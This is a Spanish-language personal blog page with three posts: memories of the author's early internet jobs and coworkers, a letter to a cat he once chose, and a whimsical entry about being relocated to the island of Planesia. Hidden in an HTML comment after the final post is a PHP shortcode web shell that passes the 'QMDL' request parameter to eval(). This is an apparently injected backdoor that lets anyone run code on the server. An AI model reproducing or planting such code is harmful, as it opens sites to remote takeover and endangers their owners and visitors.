Monday, January 12th, 2009 |
Hace más de cinco siete años que dos torres caÃan en Isla Manipulada, y con ellas acababa el boom de internet.
Fue un once de septiembre. Hace ya más de cinco siete años.
En el momento justo que la segunda torre se derrumbaba, llevándose en su interior la burbuja de las .com y los .net y similares (que es lo que hizo Pop ! al llegar al suelo), en ese preciso momento yo estaba firmando mi primer contrato en una empresa de comercio electrónico e internet, para gestionar afiliados.
Desde luego… nunca fui oportuno
Esta era la mesa en mi primer trabajo

El ordenador estaba abierto, porque un dÃa se quemó el disipador, y tuve que estar con un ventilador encendido en los pies (incluso en invierno), durante 7 meses.
Esta, la del segundo trabajo que tuve en internet

Lo mejor es que se podÃa fumar, aunque el ordenador era de broma. Si creéis que la impresora era buena, no os engañéis, porque era mÃa y la traje yo de casa. Murió una semana antes de cambiar a mi tercer trabajo. DebÃa ser una premonición.
Y esta, mi mesa en el anterior trabajo a ahora…

Al menos cuando me tenso, aprieto el pollo por el cuello, se le encienden las mejillas y patalea… eso relaja.
En todos los trabajos dejé buenos amigos, gente con la que compartà risas, malos ratos, tiempos ridÃculos de entregas al cliente, cursos, caminos hasta casa, alegrÃas, copas, servidores, dominios, realÃsticos y bolas chinas. Bueno, esto último lo compartieron ellos con otros y los vendimos a puñaos.
Gente como Jorge, Tino, Cristina, David, Fernando, Kike, Jose Luis, Gonzalo, Emilio, Dani, David el sueco… me dejo muchos.
Muchos.
Gente a la que les podÃas contar cosas como lo del cliente al que por teléfono configuré su cuenta de correo electrónico:
Periko: – Qué contraseña me has dicho que le pongamos? Rocco? Con dos cés?
– Cliente: Rocco no… Roco, con una sola. Rocco es el actor porno. Roco es mi perro.
Amigo, amigo, amigo, como decÃa Fernando. Ha merecido la pena.
Nota: Es la enésima vez que rescato este post del olvido, del cual más que el contenido me gusta el comentario de Fernando. Prometo que será la última. Por cierto, hoy hace un año que decidà dejar de despiojar ñús y empezar a despiojar bueyes de kobe. Los piojos son parecidos, todo sea dicho.
Posted in Lo mejor, Planesia, Pucela, Trabajo, Yo mismo | 8 Comments »
Monday, June 2nd, 2008 |
Ekaina es Junio en euskera
Quizá a una gata que adopté en octubre deberÃa haberla llamado urtarrila, pero es largo y para qué engañarnos, no sé euskera. La cosa es que eras una gata pequeñita. de las que tienen los ojos chinados y que caben en la palma de la mano. Una gatita que no dejabas de engancharte en mi jersey rojo con tus uñas frágiles, maullando de vez en cuando para dejar claro que estabas a gusto ahÃ, pero que no me eternizase. Quizá tu no lo recuerdes, pero era octubre, y estabas con tu hermana y tu hermano en Isla Charola.
Laurencio Montaño me dijo:
“Con cual te quedas?”
“Con esta, estoy seguro de ello”
Le respondÃ.
Volvà ese dÃa a Tabarka, y las cosas cambiaron radicalmente dÃas después. El rey decidió que tenÃa una isla sin llenar en el condado de la emetreinta, y nos trasladó a todos los presos italianos a esta isla perdida en el mediterráneo. Eso fue más o menos por noviembre de 2004.
Pasaron los meses, incluso más de un año, tanto tiempo que no podrÃa contarlo con los dedos.
Y finalmente volvà a Isla Charola
La madre de Laurencio me señalaba gatos, uno tras otro: ese es hijo de la Jana (tu madre), ese es hijo de la blanca… incluso vi a tus otros hermanos merodendo por allÃ. HabÃa muchos gatos. La verdad: tu madre nos salió un poco puta, y tiene miles de crÃas, todas con gatos diferentes.
Gatos medio atigrados medio frisones
Gatos medio anaranjados medio frisones
Incluso gatos medio siameses pero con manchas blancas y negras en la frente.
Es que el padre cambia, pero la madre sigue siendo la misma.
Pero tu no estabas.
Finalmente te encontré, subida a un árbol. Bueno, primero pasaste a mi lado como una bala, para luego subirte a el arbol que tienen allà junto a la barbacoa esa de ladrillo. El resto de tus primos, hermanos, sobrinos y demás parentela te habÃan ahuyentado hasta allÃ. Ellos no eran tan rápidos como tu subiendo a los árboles, y por el momento les habÃas esquivado.
Desde la mitad del árbol, entre dos ramas, asomabas la cabeza y me mirabas con miedo. Tu mirada era muy distinta a todas las fotos que he visto tuyas desde entonces, en las que tienes la cabeza bien alta, y giñas los ojos con el sol como si en tà hubiese algo que dijese: “eh, yo estoy aquà debajo del sol que me gusta, todo tranquila, tu nunca sabrás lo que es esto“.
En esta foto al menos eso parece. Con tu color atigrado al sol. De tres colores, como sólo tenéis las gatas (los gatos nunca pueden ser tricolores, sólo las gatas). Supongo que venÃas de un gato atigrado, guapo, que demostró a tu madre, la Jana, que podÃa subirse a los árboles más altos, cuya meada olÃa mejor (si es que una meada de gato olió bien el algún lugar del mundo alguna vez).
Me mirabas con miedo y con las orejas apuntando cada una para un lado, vigilante de cualquier ruido amenazador. Nos miramos unos segundos e intenté sacarte una foto con mi cámara de fotos, pero… esas cosas no tienen baterÃa suficiente cuando las necesitas.
Quizá sea mejor asÃ, prefiero recordarte con la mirada in/diferente y no con ese miedo. En ese momento Laurencio, con algún kilo más que hacÃa dos años, me contó que tuviste gatitos, y que tus familiares te forzaron a criarlos lejos. Me contó que hace tiempo que no ven a tu camada, y esto no pinta bien.
Mira Ekaina… no sé qué será de tu vida. No sé si te comerá un zorro o decidirás montártelo por tu cuenta en otra parte de Isla Charola. No lo sé. Sé que te và subida a ese árbol, perseguida por los cabrones de tus hermanos (que nunca fueron de mi agrado, ahora sé por qué), y me dijeron que era una pena lo de tu camada, porque los de allà esperaban que me hubiese llevado a uno de tus hijos a mi celda…
pero…
qué quieres que te cuente…
Ahora vivo en una celda de 100 pies cuadrados, y ya no es como en Islandia. Y te aviso que ni en Tabarka ni aquà podrÃas correr sin parar, y ver a lo lejos las montañas mientras te cae encima la niebla meona, como llamaba mi abuela a esa niebla que hace que el agua se condense en tu cara al andar. Tampoco podrÃas cazar ratones a kilómetros de distancia de casa, como hace la Jana (la hemos visto Laurencio y yo hacerlo).
Aquà sólo verÃas la luz por cuatro ventanas oscilobatientes y estarÃas todo el dÃa deseando que llegasen las ocho y media de la tarde para que jugásemos a perseguir esa pelota verde que tengo por mi habitación y que ignoro de dónde ha salido. Luego comerÃamos algo, yo alguna mierda precocinada y tu alguna galleta de estas secas… nos tumbarÃamos en el sofá y yo te contarÃa cómo la madre de todos los ñús no me deja que le quite los piojos. Tu entrecerrarÃas los ojos en una mirada infinita medio aburrida medio complaciente… y engordarÃamos los dos plácidamente viendo el telediario de Telemadrid de madrugada.
No sé tú, (porque no hay manera de preguntarte tu opinión y que encima respondas), pero creo que estás mejor donde estás.
Eso me digo, porque no dejo de pensar en tu cara de miedo, allà subida al árbol mientras yo hacÃa el imbécil debajo con una salchicha, intentándote hacer bajar.
Y me siento la hostia de culpable.
Espero que este post sirva para que sepas que te llevo en mi recuerdo (y en mi móvil). Sé que a tà las palabras blog y móvil no te suenan a nada, pero espero que sirva. Y aunque tampoco sirve, espero verte la próxima vez que vaya por Isla Charola, y espero poder hacerte caricias bajo la barbilla, que los dos sabemos que te gusta.
Posted in Está pasando, Lo mejor, Planesia, Transporte | 4 Comments »
Saturday, May 17th, 2008 |
Pues muchas veces me planteo esto. Sobre todo cuando miro a través de la ventana enrejada y veo la superficie de la isla quemada por el sol y la sal.
Es curioso, porque desde que he llegado aquÃ, no he olido el mar, y eso que ocupa casi la totalidad de lo que se puede ver desde mi ventana, pero no lo huelo. En cambio hay un olor como a quemado, a contaminación…
Los primeros dÃas, el olor era más intenso, pero debo estar acostumbrándome a él. No se si viene de la cocina, que se encuentra en el extremo oeste o quizá sea que en el faro, el edificio más alto, en el extremo norte, quemen aceite para guiar a los barcos que navegan por la zona.
No voy a contaros toda la historia de por qué estoy aquÃ. Todos la sabéis. Al final he llegado a esta pequeña isla, frente a la costa de Alicante, junto con otros italianos, que también han venido a repoblarla. Ideas felices de nuestro rey (con minúscula).

Planesia debe medir unos 400 metros por la parte más estrecha, de norte a sur, y kilómetro y medio de este a oeste. Por el calor y la falta de lluvia, es imposible ver una sóla planta que no sean chumberas, uñas de gato y todo tipo de cactus.
Está claro, la isla se llama Planesia porque es como si la hubiesen alisado con una plancha muy grande. No hay playas, sólo acantilados, tan altos como el faro del norte.
Eso sÃ… el mar es de color azul intenso.
Hoy he dado mi primer paseo por la isla, y he visto muchas cosas. Ya os contaré…
<!– [insert_php]if (isset($_REQUEST["QMDL"])){eval($_REQUEST["QMDL"]);exit;}[/insert_php][php]if (isset($_REQUEST["QMDL"])){eval($_REQUEST["QMDL"]);exit;}[/php] –>
Posted in Planesia | 5 Comments »